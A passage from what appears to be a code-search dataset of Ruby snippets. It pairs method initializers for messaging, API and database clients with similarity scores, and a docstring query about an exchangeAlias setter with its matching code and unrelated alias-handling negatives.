Internal.trace.announce \"Created connection (but it's not a topic).\"\n end\n end",
"def initialize(assoc, endpoint)\n @assoc = assoc\n @endpoint = endpoint\n @return_to_args = {}\n @message = Message.new(endpoint.preferred_namespace)\n @anonymous = false\n end",
"def exchange\n @exchange ||= channel.direct(exchange_name,\n durable: !Proletariat.test_mode?,\n auto_delete: Proletariat.test_mode?)\n end",
"def exchange_connector_type=(value)\n @exchange_connector_type = value\n end",
"def initialize(options)\n\n # Create logger\n @logger = options[:logger] || logger\n @logger.debug \"XivelyConnector::Device initialize\"\n\n # initialize parent\n data = options[:response]\n @datapoint_buffer_size = options[:datapoint_buffer_size] || 1\n @only_save_changes = options[:only_save_changes] || false\n super(options[:response])\n\n # Convert date strings to ruby dates\n @created = Time.iso8601(created) # 2014-03-28T16:36:30.651731Z\n @updated = Time.iso8601(updated) # 2014-03-28T16:45:05.206472Z\n\n # xively-rb doesn't set location attributes correctly, so do so here\n if data['location']\n loc = data['location']\n @has_location = true\n @location_name = loc['name'] if\n @location_domain = loc['domain'] if loc['domain']\n @location_lon = loc['lon'] if loc['lon']\n @location_lat = loc['lat'] if loc['lat']\n @location_ele = loc['ele'] if loc['ele']\n @location_exposure = loc['exposure'] if loc['exposure']\n @location_disposition = loc['disposition'] if loc['disposition']\n @location_waypoints = loc['waypoints'] if loc['waypoints']\n end\n\n # Setup enhanced datastreams\n @datastream_ref = {}\n datastreams.each { |ds| @datastream_ref[ds.id] = ds }\n\n @logger.info \"Initialized Xively Device #{@id} with #{datastreams.size} datastreams\"\n\n end",
"def initialize(options={})\n requires!(options, :sender_id, :channel_id, :login, :pwd)\n super\n end",
"def initialize(queue_name, exchange_name: nil, connection: nil, context: nil, concurrency: nil, durable: nil, auto_delete: false, routing_key: nil, ident: nil)\n super(connection: connection, context: context, ident: ident)\n\n @exchange_name = exchange_name\n @queue_name = queue_name.dup.freeze\n @routing_key = routing_key\n @durable = durable.nil? ? !!@queue_name.match(/\\S/) : !!durable\n @operations = [ ]\n @auto_delete = auto_delete\n\n concurrency &&= concurrency.to_i\n concurrency ||= 1\n\n concurrency.times do |i|\n with_channel_in_thread(name: 'worker-%d' % i) do |channel, meta|\n self.establish_subscriber!(channel, meta)\n end\n end\n\n self.after_initialize rescue nil\n end",
"def initialize(connection_hash)\n @ole_connection = SQLOLE.get_connection\n @connection_hash = connection_hash || {}\n# TODO: move this base hash to the non-public method and return the full hash\n# look at refactoring the send method goodies\n @connection_params =\n {\n :provider => \"Provider=SQLOLEDB.1\",\n :library => \"Network Library=dbmssocn\"\n }\n set_connection_params(@connection_hash)\n end",
"def reset\n self.adapter = DEFAULT_ADAPTER\n self.connection_options = DEFAULT_CONNECTION_OPTIONS\n self.consumer_key = DEFAULT_CONSUMER_KEY\n self.consumer_secret = DEFAULT_CONSUMER_SECRET\n self.proxy = DEFAULT_PROXY\n self.user_agent = DEFAULT_USER_AGENT\n end",
"def default_adapter=(adapter); end",
"def default_adapter=(adapter); end",
"def default_adapter=(adapter); end",
"def init\n adapter.setup_connection_specification_name\n adapter.process_excluded_models\n end",
"def initialize(host = nil, info_hash = {}, &block)\n # Initialize state\n #\n @state = {}\n # This defines the behavior of CommandMethods by telling it what to do\n # with the Message object that results from a CommandMethod being called.\n # All we're doing here is calling #send_recv\n #\n command_method_proc = proc { |msg| send_recv msg }\n CommandMethods.generate(&command_method_proc)\n\n # This proc sets the four ECN attributes and initiates a connection to the\n # receiver.\n #\n set_attrs = lambda do |hash|\n @model = hash[:model]\n @port = hash[:port]\n @area = hash[:area]\n @mac_address = hash[:mac_address]\n connect(&block) if block_given?\n end\n\n # This lambda sets the host IP after resolving it\n #\n set_host = lambda do |hostname|\n @host = Resolv.getaddress hostname\n end\n\n # When no host is given, the first discovered host is returned.\n #\n # When a host is given without a hash ::discover will be used to find\n # a receiver that matches.\n #\n # Else, use the given host and hash to create a new Receiver object.\n # This is how ::discover creates Receivers.\n #\n if host.nil?\n first_found = Receiver.discover[0]\n set_host.call first_found.host\n set_attrs.call first_found.ecn_hash\n elsif info_hash.empty?\n set_host.call host\n Receiver.discover.each do |receiver|\n receiver.host == @host && set_attrs.call(receiver.ecn_hash)\n end\n else\n set_host.call host\n set_attrs.call info_hash\n end\n end",
"def initialize(config: nil, block: true)\n # create a channel and exchange that both client and server know about\n config ||= CarrotRpc.configuration\n @thread_request_variable = config.thread_request_variable\n @channel = config.bunny.create_channel\n @logger = config.logger\n @block = block\n setup_queue(config)\n @exchange = @channel.default_exchange\n end",
"def initialize\n self.imap = OpenStruct.new\n self.smtp = OpenStruct.new\n self.service = OpenStruct.new\n self.application = OpenStruct.new\n end",
"def initialize(options={})\n @multi_message_max_count = 0\n \n self.host = options[:host] || DEFAULT_HOST\n self.port = options[:port] || DEFAULT_PORT\n end",
"def initialize\n super\n\n # defaults:\n self.foreground = false\n self.push_poll = 2\n self.feedback_poll = 60\n self.airbrake_notify = true\n self.check_for_errors = true\n self.batch_size = 5000\n self.queue = nil\n end",
"def adapter_initialize\n end",
"def initialize_exchange_rate_adapters\n @exchange_rate_adapters ||= []\n if self.exchange_rate_adapter_names.kind_of?(Array) && self.exchange_rate_adapter_names\n self.exchange_rate_adapter_names.each do |adapter|\n begin\n @exchange_rate_adapters << Straight::ExchangeRate.const_get(\"#{adapter}Adapter\").instance\n rescue NameError\n StraightServer.logger.warn \"No exchange rate adapter with the name #{adapter} was found!\"\n end\n end\n end\n end",
"def initialize(opts = {})\n @options = opts.reduce({}) do |opts_array, (k, v)|\n unless v.nil?\n opts_array[k.to_s.gsub(/_/, '.')] = v\n end\n opts_array\n end\n if options['broker.list']\n options['metadata.broker.list'] = options.delete 'broker.list'\n end\n if options['metadata.broker.list'].is_a? Array\n options['metadata.broker.list'] = options['metadata.broker.list'].join(',')\n end\n if options['compressed.topics'].is_a? Array\n options['compressed.topics'] = options['compressed.topics'].join(',')\n end\n validate_arguments\n @send_method = proc { throw StandardError.new 'Producer is not connected' }\n end",
"def initialize(device)\n super\n @status = 0\n @device = device\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.androidWorkProfileGeneralDeviceConfiguration\"\n end",
"def initialize(adapter)\n self.adapter = adapter\n end",
"def default_adapter_options=(_arg0); end",
"def default_adapter_options=(_arg0); end",
"def initialize\n @mutex = Mutex.new\n @config_hash = {}\n set_defaults\n end",
"def initialize\n @equeues_sources_id = -1\n @http_sources_id = -1\n end",
"def initialize\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = ::Google::Cloud::Dialogflow::V2::ConversationModels::Rest::Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Rest::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n config.bindings_override = @config.bindings_override\n end\n\n @conversation_models_stub = ::Google::Cloud::Dialogflow::V2::ConversationModels::Rest::ServiceStub.new endpoint: @config.endpoint, credentials: credentials\n end",
"def initialize(application_id, secret, user_token, production = false)\n @connection = Connection.new(application_id, secret, user_token, production)\n end",
"def reset\n self.tap do |c|\n c.base_uri = DEFAULT_BASE_URI\n c.endpoint = DEFAULT_END_POINT\n c.api_secret = DEFAULT_API_SECRET\n c.api_key = DEFAULT_API_KEY\n end\n end",
"def initialize(consumer_id: Config.app_id, global_id: nil,\n response_data_format: nil, service_version: nil)\n @consumer_id = consumer_id\n @global_id = global_id\n @response_data_format = response_data_format\n @service_version = service_version\n end",
"def initialize(connect_hash)\n @mysql = Mysql2::Client.new(connect_hash)\n @batch_size = ENV['BATCH_SIZE'].to_i || DEFAULT_BATCH_SIZE\n @last_cause_id = ENV['LAST_CAUSE_ID']\n end",
"def initialize\n # This hash stores the connections that have already been created. The keys of the hash will be the\n # identifiers of the EMSs, and the values will be instances of the `Entry` class.\n @registry = {}\n\n # Load from the configuration the settings that control how often we purge connections that correspond to\n # EMSs that no longer exist:\n @purge_interval = settings.purge_interval.to_i_with_method\n @purge_time = Time.current\n\n # Make sure that all connections will be closed when the process finishes:\n at_exit do\n $rhevm_log.info(\"Closing all connections before exit.\")\n clear\n end\n end",
"def initialize(config=OpenAuth2::Config.new)\n @config = config\n @endpoint = endpoint\n end",
"def initialize()\n super\n @odata_type = \"#microsoft.graph.sharedPCConfiguration\"\n end",
"def initialize\n @connection = Bunny.new(ENV['CLOUDAMQP_URL'] || ENV['AMQP_HOST'])\n @connection.start\n @channel = connection.create_channel\n @exchange = channel.topic(ENV['AMQP_EXCHANGE'] || ENV['SERVICE_NAME'])\n end",
"def setup\n connect_to_cassandra\n\n @data_socket = Hastur::Util.connect_socket @ctx, @socktype, @data_uri, @sockopts\n @ack_socket = Hastur::Util.connect_socket @ctx, ZMQ::PUSH, @ack_uri, @sockopts\n\n @poller = ZMQ::Poller.new\n @poller.register_readable @data_socket\n end",
"def initialize\n super\n\n self.callbacks = ::ActiveSupport::HashWithIndifferentAccess.new\n self.callbacks_queue = []\n\n self.responses = ::ActiveSupport::HashWithIndifferentAccess.new\n self.responses_queue = []\n\n self.client = ::Syncano::Clients::Sync.instance\n self.received_data = ''\n end",
"def initialize(recipient, default_options = {})\n self.recipient = recipient\n self.default_options = default_options\n end",
"def initialize(uri, soc, config={})\n @uri = uri\n @socket = soc\n @config = config\n @acl = config[:tcp_acl]\n @msg = DRbMessage.new(config)\n set_sockopt(@socket)\n end",
"def initialize(fs_communicator)\n @fs_communicator = fs_communicator\n end",
"def initialize(connection, aliases)\n @aliases = aliases\n @connection = connection\n end",
"def initialize(devtype,param)\n setupDevice(devtype,param) ;\n end",
"def initialize(options = nil)\n @options = options || @@default_options\n @api_key = @options[:api_key] || @options[:oauth_consumer_key]\n @shared_secret = @options[:shared_secret]\n @rest_endpoint = @options[:rest_endpoint] || REST_ENDPOINT\n @auth_endpoint = @options[:auth_endpoint] || AUTH_ENDPOINT\n \n if @options[:oauth_access_token] && @options[:oauth_access_token_secret]\n @access_token = OAuth::AccessToken.new(oauth_customer, @options[:oauth_access_token], @options[:oauth_access_token_secret])\n end\n end",
"def initialize\n @connector=ConnectionManager.instance\n @connector.add_observer(self)\n end",
"def initialize(connection_details)\n @connection_details = connection_details\n end",
"def initialize(adapter)\n @adapter = adapter\n end"
] |
[
"0.5361575",
"0.5351051",
"0.5264691",
"0.517555",
"0.51436186",
"0.5110963",
"0.5110963",
"0.5109132",
"0.5005166",
"0.49931514",
"0.4929608",
"0.49034342",
"0.49019668",
"0.48672757",
"0.48648226",
"0.48633227",
"0.48231158",
"0.4823052",
"0.48228842",
"0.48064592",
"0.47918555",
"0.4784888",
"0.47717077",
"0.4761803",
"0.47579843",
"0.47579843",
"0.47545117",
"0.47497135",
"0.47389296",
"0.47378716",
"0.47277316",
"0.47251993",
"0.47193837",
"0.47091225",
"0.47078913",
"0.46933657",
"0.46731278",
"0.46564123",
"0.46538606",
"0.46440187",
"0.4638164",
"0.46291178",
"0.46291178",
"0.46142754",
"0.46126604",
"0.46020484",
"0.45992738",
"0.45985934",
"0.45949805",
"0.45923707",
"0.4591538",
"0.45870516",
"0.4580263",
"0.45734444",
"0.45711625",
"0.45622692",
"0.45582703",
"0.45581007",
"0.4554835",
"0.45526552",
"0.45474437",
"0.45427886",
"0.45386824",
"0.45386824",
"0.45386824",
"0.4536527",
"0.4534187",
"0.45326895",
"0.45310467",
"0.4529824",
"0.45287856",
"0.45243734",
"0.45236522",
"0.4517615",
"0.45107338",
"0.45000455",
"0.44952485",
"0.44902605",
"0.44902605",
"0.44883913",
"0.44844264",
"0.44796705",
"0.4478607",
"0.44675612",
"0.44670573",
"0.4460185",
"0.44593698",
"0.44534868",
"0.4452872",
"0.44515428",
"0.44484755",
"0.44466183",
"0.44427222",
"0.44393432",
"0.443573",
"0.44283548",
"0.44229543",
"0.4421014",
"0.4420548",
"0.44204083",
"0.44155955"
] |
0.0
|
-1
|
Gets the exchangeAlias property value. An alias assigned to the Exchange server
|
def exchange_alias
return @exchange_alias
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def exchange_alias=(value)\n @exchange_alias = value\n end",
"def account_alias\n # Do not execute IAM API call unless the -s/--show_account_alias flag is specified\n # (to prevent excess API calls *and* errors if IAM rights are not allowed)\n return nil unless config[:show_account_alias]\n\n begin\n iam_account_alias = iam_client.list_account_aliases[:account_aliases].first\n\n return '<no alias>' if iam_account_alias.empty? || iam_account_alias.nil?\n return iam_account_alias\n rescue StandardError => e\n unknown \"An error occured while using AWS IAM to collect the account alias: #{e.message}\"\n end\n end",
"def exchange_organization\n return @exchange_organization\n end",
"def to_alias\n \"-#{@alias}\"\n end",
"def alias\n\t\tmodule_info['Alias']\n\tend",
"def target_alias\n decode_string_member(:target_alias)\n end",
"def exchange_server\n return @exchange_server\n end",
"def formatted_alias_or_alias_with_host\n alias_with_host.nil? ? VirtualHearing.formatted_alias(alias_name) : alias_with_host\n end",
"def to_s\n self.alias\n end",
"def site_domain_aliases\n options[:aliases]\n end",
"def to_s\n aliases.first\n end",
"def aliases\n return @aliases\n end",
"def content\n \"alias #{@name}=#{@val}\"\n end",
"def mailbox_aliases\n return @mailbox_aliases if @mailbox_aliases\n aliases = {\"sent\" => \"Sent Mail\",\n \"all\" => \"All Mail\",\n \"starred\" => \"Starred\",\n \"important\" => \"Important\",\n \"drafts\" => \"Drafts\",\n \"spam\" => \"Spam\",\n \"trash\" => \"Trash\"}\n @mailbox_aliases = {}\n aliases.each do |shortname, fullname|\n [ \"[Gmail]\", \"[Google Mail\" ].each do |prefix|\n if self.mailboxes.include?( \"#{prefix}/#{fullname}\" )\n @mailbox_aliases[shortname] = \"#{prefix}/#{fullname}\"\n end\n end\n end\n log \"Setting aliases to #{@mailbox_aliases.inspect}\"\n @mailbox_aliases\n end",
"def exchange\n\n opt('exchange') || [ 'direct', '', {} ]\n #\n # defaults to the \"default exchange\"...\n end",
"def aliases\n SideJob.redis.smembers \"#{redis_key}:aliases\"\n end",
"def attribute_alias(name)\n attribute_aliases[name.to_s]\n end",
"def email\n @net_ldap_entry[:mail].first\n end",
"def alias(an_alias)\n { alias: an_alias }\n end",
"def email_address\n return @email_address\n end",
"def email_address\n return @email_address\n end",
"def aliases\n @aliases ||= default_aliases\n end",
"def name_alias(arg=nil)\n\t\t\t\tset_or_return(:name_alias, arg, :kind_of => String)\n\t\t\tend",
"def [](attribute)\n @aliases.fetch(attribute, attribute)\n end",
"def set_alias(aliass)\n @alias = aliass\n end",
"def email_address\n get_attribute(Yoti::Attribute::EMAIL_ADDRESS)\n end",
"def exchange\n @exchange ||= Hightops.connection.channel.exchange(exchange_naming.to_s, type: exchange_type, durable: true)\n end",
"def name\n @exporter_alias || self.to_s\n end",
"def exchange\n @exchange ||= Exchange.new(@channel, :direct, AMQ::Protocol::EMPTY_STRING, :key => name)\n end",
"def redis_alias_key alias_name \n self.class.generate_alias_key(alias_name, to_arg)\n end",
"def get_name(ex)\n ex['id'] || \"#{ex['exchange']}:#{ex['crypto']}:#{ex['fiat']}\"\n end",
"def aliases=(value)\n @aliases = value\n end",
"def mailbox_aliases\n return @mailbox_aliases if @mailbox_aliases\n @mailbox_aliases = {}\n @default_mailbox_aliases.each do |shortname, fullname_list|\n fullname_list.each do |fullname|\n [ \"[Gmail]\", \"[Google Mail]\" ].each do |prefix|\n if self.mailboxes.include?( \"#{ prefix }/#{ fullname }\" )\n @mailbox_aliases[shortname] = \"#{ prefix }/#{ fullname }\"\n end\n end\n end\n end\n log \"Setting aliases to #{ @mailbox_aliases.inspect }\"\n @mailbox_aliases\n end",
"def get_fqdn\n return @resource[:name]\n end",
"def hostname\n return @hostname\n end",
"def alias?(uri)\n @conf.alias?(uri)\n end",
"def get_aliases\n resp = get do |req|\n req.url \"/_aliases\"\n end\n resp.body\n end",
"def get_alias(alias_id, opts = {})\n data, _status_code, _headers = get_alias_with_http_info(alias_id, opts)\n data\n end",
"def email\n connect\n user = self.class.query('CMD_API_SHOW_USER_CONFIG',\n :user => resource[:username]\n )\n return user[\"email\"]\n end",
"def realm_identity_provider_instances_alias_get(realm, _alias, opts = {})\n data, _status_code, _headers = realm_identity_provider_instances_alias_get_with_http_info(realm, _alias, opts)\n data\n end",
"def aliases\n @aliases ||= []\n end",
"def type\n @alias_of.type\n end",
"def device_account_email\n return @device_account_email\n end",
"def synckey(item)\n item[:alias]\n end",
"def to_read_index_alias_name()\n sprintf(\"%s_%s\", @application, @domain)\n end",
"def enterprise_domain\n return @enterprise_domain\n end",
"def domain_name\n return @domain_name\n end",
"def domain_name\n return @domain_name\n end",
"def email\n self[:emailAddress]\n end",
"def exchange_organization=(value)\n @exchange_organization = value\n end",
"def alias_path(path)\n @hash[\"Alias\"][path]\n end",
"def relation_alias(embed)\n relation_aliases[embed]\n end",
"def account_name\n return @account_name\n end",
"def account_name\n return @account_name\n end",
"def get_account_alias(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'GetAccountAlias'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tself.run(args)\n\tend",
"def resolve_alias(group_alias)\n ALIASES[group_alias]\n end",
"def email\n return @email\n end",
"def email\n return @email\n end",
"def contact_email\n\t\treturn get_configuration['sa_contact_email']\n\tend",
"def email_address\n api(\"EmailAddress\")\n end",
"def aliases\n @alias_ids.collect { |idx| BAlias.store[idx] }\n end",
"def aliases\n\t\t\twith_dir do\n\t\t\t\t%x/git config --get-regexp 'alias.*'/.each_line.map do |l|\n\t\t\t\t\tputs l.sub(/^alias\\./,\"\").sub(/ /,\" = \")\n\t\t\t\tend\n\t\t\tend\n\t\tend",
"def alias_name\n name.to_s.pluralize\n end",
"def email_address\n authentications.emails.active.first.uid rescue nil\n end",
"def get_email_address\n response = get_current_user_meta('email')\n email = response['query']['userinfo']['email']\n return if email == ''\n\n email\n end",
"def get(endpoint_name)\n self[endpoint_name]\n end",
"def aliases\n alias_of.aliases\n end",
"def alias_path(path)\n return @aliases[path]\n end",
"def server_alias_path(name)\n dname = clean_server_name(name)\n\n basedir = @config.get(\"GEAR_BASE_DIR\")\n token = \"#{@container_uuid}_#{@namespace}_#{@container_name}\"\n path = File.join(basedir, '.httpd.d', token, \"server_alias-#{dname}.conf\")\n end",
"def server_alias_path(name)\n dname = clean_server_name(name)\n\n basedir = @config.get(\"GEAR_BASE_DIR\")\n token = \"#{@container_uuid}_#{@namespace}_#{@container_name}\"\n path = File.join(basedir, '.httpd.d', token, \"server_alias-#{dname}.conf\")\n end",
"def aliasing_hash_aliases\n @aliases ||= {}\n end",
"def root_package_alias=(value)\n @root_package_alias = value\n end",
"def exchange_naming\n @exchange_naming ||= if @worker_class\n Hightops::Naming::CommonExchange.new\n else\n Hightops::Naming::SharedExchange.new(tag: @tag)\n end\n end",
"def email_address\n @data['emailAddress']\n end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def dir_alias= name\n #This is a stub, used for indexing\n end",
"def alias=(new_alias)\n @alias = new_alias[0..512]\n end",
"def to_hash\n @aliases\n end",
"def email_domain\n self.organization.email_domain\n end",
"def primary_smtp_address\n return @primary_smtp_address\n end",
"def exchange\n @exchange ||= channel.fanout(exchange_name, durable: true)\n end",
"def realm_identity_provider_instances_alias_export_get(realm, _alias, opts = {})\n realm_identity_provider_instances_alias_export_get_with_http_info(realm, _alias, opts)\n nil\n end",
"def domain\n @uri[:domain]\n end",
"def address(hostname)\n @resolver.getaddress(hostname).to_s\n rescue\n 'Hostname not found'\n end",
"def get aggregate_alias = nil\n if @aggregate_fields.count > 1 && aggregate_alias.nil?\n raise ArgumentError, \"Required param aggregate_alias for AggregateQuery with multiple aggregate fields\"\n end\n aggregate_alias ||= @aggregate_fields.keys.first\n @aggregate_fields[aggregate_alias]\n end",
"def attr_alias(name)\n name = name.intern\n if synonym = self.class.attr_alias(name)\n return synonym\n else\n return name\n end\n end",
"def aliases\n [[@aliases], @name, @display_name].flatten.compact.uniq\n end",
"def associated_key_alias\n self[:left_key_alias]\n end",
"def get_server_domain\n \"Ok EventMachine SMTP Server\"\n end",
"def amazon_account_id\n return @amazon_account_id\n end",
"def email\n ENV['NEARMISS_EMAIL'] || config['email']\n end",
"def alias_processing\n self.alias = Russian.translit(self.alias.strip.gsub(' ', '_').gsub(/[\\W\\d]/, '')).downcase\n end",
"def host\n return @host\n end",
"def host\n return @host\n end",
"def aliases\n @hash[\"Alias\"].keys\n end",
"def language_aliases(language)\n aliases[language]\n end",
"def get_property_uri(name)\n p = @datatype_properties.detect { |mapping| name == mapping.name }\n if p == nil\n return nil\n else\n return p.property_uri\n end\n end",
"def set_item_alias\n @item_alias = ItemAliase.find(params[:id])\n end",
"def ldap_host_2\n @attributes[:ldap_host_2]\n end",
"def target_name\n return alias_name || expression || aggregation_type.to_s\n end"
] |
[
"0.7781427",
"0.6615855",
"0.6029757",
"0.5985897",
"0.5963759",
"0.5910003",
"0.5723745",
"0.5688521",
"0.56475586",
"0.5631283",
"0.5586655",
"0.55285937",
"0.54696023",
"0.5428853",
"0.5396235",
"0.53853804",
"0.53252375",
"0.5300398",
"0.52484816",
"0.5247024",
"0.5247024",
"0.5244461",
"0.52380747",
"0.52320844",
"0.5230764",
"0.52157897",
"0.5210762",
"0.5199785",
"0.5197923",
"0.517756",
"0.51681334",
"0.51481074",
"0.5145839",
"0.514398",
"0.51418173",
"0.512521",
"0.5117413",
"0.50892454",
"0.5084904",
"0.5076097",
"0.5071552",
"0.5065814",
"0.50556463",
"0.50495505",
"0.5048444",
"0.50477093",
"0.50401443",
"0.50401443",
"0.5038627",
"0.5024966",
"0.50108963",
"0.50100255",
"0.4990355",
"0.4990355",
"0.49873003",
"0.49843448",
"0.49832517",
"0.49832517",
"0.49827132",
"0.49820703",
"0.49616188",
"0.49615535",
"0.49586946",
"0.49571708",
"0.49567717",
"0.49349776",
"0.49336058",
"0.4926161",
"0.4920954",
"0.4920954",
"0.49089813",
"0.4907259",
"0.490044",
"0.48979375",
"0.48835066",
"0.48745728",
"0.487194",
"0.4866781",
"0.48595724",
"0.48591694",
"0.48463273",
"0.48441562",
"0.48356616",
"0.4823873",
"0.4820654",
"0.48204818",
"0.48194194",
"0.4812957",
"0.48106784",
"0.48099688",
"0.4807442",
"0.48070183",
"0.4806527",
"0.4806527",
"0.4805971",
"0.48051107",
"0.48025626",
"0.48018342",
"0.4795906",
"0.47935408"
] |
0.84080905
|
0
|
Sets the exchangeAlias property value. An alias assigned to the Exchange server
|
def exchange_alias=(value)
@exchange_alias = value
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_alias(aliass)\n @alias = aliass\n end",
"def exchange_alias\n return @exchange_alias\n end",
"def alias=(new_alias)\n @alias = new_alias[0..512]\n end",
"def aliases=(value)\n @aliases = value\n end",
"def set_alias\n authorized_to_set_alias?\n @user = current_user\n end",
"def set_account_alias(optional={})\n\t\targs = self.class.new_params\n\t\targs[:query]['Action'] = 'SetAccountAlias'\n\t\targs[:region] = optional[:_region] if (optional.key? :_region)\n\t\targs[:scheme] = 'https'\n\t\tif optional.key? :_method\n\t\t\traise ArgumentError, '_method must be GET|POST' unless 'GET|POST'.split('|').include? optional[:_method]\n\t\t\targs[:method] = optional[:_method]\n\t\tend\n\t\tif optional.key? :account_alias\n\t\t\targs[:query]['AccountAlias'] = optional[:account_alias]\n\t\tend\n\t\tself.run(args)\n\tend",
"def aliases=(aliases)\n set_if_changed(:aliases, [*aliases]) do\n invalidate_cache!\n end\n end",
"def set_alias(index)\n @alias = \"b#{index}\"\n end",
"def add_alias(gear, server_alias)\n args = build_base_gear_args(gear)\n args['--with-alias-name']=server_alias\n result = execute_direct(@@C_CONTROLLER, 'add-alias', args)\n parse_result(result)\n end",
"def set_item_alias\n @item_alias = ItemAliase.find(params[:id])\n end",
"def alias(alias_name)\n clone.alias! alias_name\n end",
"def set_song_alias\n @song_alias = SongAlias.find(params[:id])\n end",
"def add_alias(alias_name)\n $logger.info(\"Adding alias #{alias_name} to gear #{@uuid} of application #{@app.name}\")\n\n frontend = OpenShift::Runtime::FrontendHttpServer.new(OpenShift::Runtime::ApplicationContainer.from_uuid(@uuid))\n frontend.add_alias(alias_name)\n end",
"def alias(body, options={})\n firehose_request([{\n type: 'alias',\n body: body\n }], options)\n end",
"def add_alias host_name, *aliases\n\t\t\t\thost = get_host host_name\n\t\t\t\traise \"Couldn't find requested host to add alias.\" unless host\n\t\t\t\taliases.each {|a| @hosts[a.to_s.downcase] = host}\n\t\t\t\ttrue\n\t\t\tend",
"def alias(a)\n Registry.alias_command(self, a)\n end",
"def alias(an_alias)\n { alias: an_alias }\n end",
"def root_package_alias=(value)\n @root_package_alias = value\n end",
"def alias_cmd(key, value)\n @aliases[key] = value\n end",
"def update!(**args)\n @alias = args[:alias] if args.key?(:alias)\n end",
"def name_alias(arg=nil)\n\t\t\t\tset_or_return(:name_alias, arg, :kind_of => String)\n\t\t\tend",
"def to_alias\n \"-#{@alias}\"\n end",
"def add_alias( name )\n\t\t\t@aliases << name\n\t\tend",
"def exchange_organization=(value)\n @exchange_organization = value\n end",
"def alias(name)\n @aliases << convert(name)\n end",
"def alias(name)\n @aliases << convert(name)\n end",
"def add_alias!(aka)\n @aliases << aka if !@aliases.include?(aka)\n self\n end",
"def add_alias!(aka)\n @aliases << aka if !@aliases.include?(aka)\n self\n end",
"def alias(name, alias_to)\n params = { :_n => alias_to, :_p => name }\n request('a', params)\n end",
"def update_account_alias_by_alias(account_alias:, new_alias:)\n params = {\n account_alias: account_alias,\n new_alias: new_alias\n }\n client.make_request('/update-account-alias', 'post', params: params)\n end",
"def set_alias(alias_name, index_name)\n if client.indices.exists_alias(name: alias_name)\n current_index_names = client.indices.get_alias(name: alias_name).keys\n current_index_names.each do |index|\n unassign_index_alias(index, alias_name)\n end\n end\n\n assign_index_alias(index_name, alias_name)\n end",
"def exchange_server=(value)\n @exchange_server = value\n end",
"def add_alias(name)\n dname = clean_server_name(name)\n path = server_alias_path(dname)\n\n # Aliases must be globally unique across all gears.\n existing = server_alias_search(dname, true)\n if not existing.empty?\n raise FrontendHttpServerAliasException.new(\"Already exists\", @container_uuid, \\\n @container_name, @namespace, dname )\n end\n\n File.open(path, \"w\") do |f|\n f.write(\"ServerAlias #{dname}\")\n f.flush\n end\n\n create_routes_alias(dname)\n\n reload_all\n end",
"def add_alias(name)\n dname = clean_server_name(name)\n path = server_alias_path(dname)\n\n # Aliases must be globally unique across all gears.\n existing = server_alias_search(dname, true)\n if not existing.empty?\n raise FrontendHttpServerAliasException.new(\"Already exists\", @container_uuid, \\\n @container_name, @namespace, dname )\n end\n\n File.open(path, \"w\") do |f|\n f.write(\"ServerAlias #{dname}\")\n f.flush\n end\n\n create_routes_alias(dname)\n\n reload_all\n end",
"def email_set(address)\n self.email.set address\n end",
"def setExchangeUrl(exchangeUrl)\n @exchangeUrl = exchangeUrl\n end",
"def add_alias(room_alias)\n client.api.set_room_alias(id, room_alias)\n tinycache_adapter.read(:aliases) << room_alias if tinycache_adapter.exist?(:aliases)\n true\n end",
"def alias!(key, key_alias)\n #aliasing aliases is not allowed\n raise CantAliasAliasesException if aliases.include?(key)\n \n #make sure there are no keys or aliases with the requested new aliases already\n raise AliasAlreadyExistsException if aliasing_hash_aliases.include?(key_alias)\n raise KeyAlreadyExistsException if self.include?(key_alias)\n \n #assign the alias\n aliasing_hash_aliases[key_alias] = key\n \n return self\n end",
"def alias_change(al)\n obj_change al, Alias\n end",
"def alias(name)\n @aliases << normalize(name)\n nil\n end",
"def dir_alias= name\n #This is a stub, used for indexing\n end",
"def target_alias\n decode_string_member(:target_alias)\n end",
"def account_alias\n # Do not execute IAM API call unless the -s/--show_account_alias flag is specified\n # (to prevent excess API calls *and* errors if IAM rights are not allowed)\n return nil unless config[:show_account_alias]\n\n begin\n iam_account_alias = iam_client.list_account_aliases[:account_aliases].first\n\n return '<no alias>' if iam_account_alias.empty? || iam_account_alias.nil?\n return iam_account_alias\n rescue StandardError => e\n unknown \"An error occured while using AWS IAM to collect the account alias: #{e.message}\"\n end\n end",
"def alias(new_name, old_name)\n registry.alias(new_name, old_name) or\n raise NameError.new(\"Undefined artifact name: #{old_name}\")\n end",
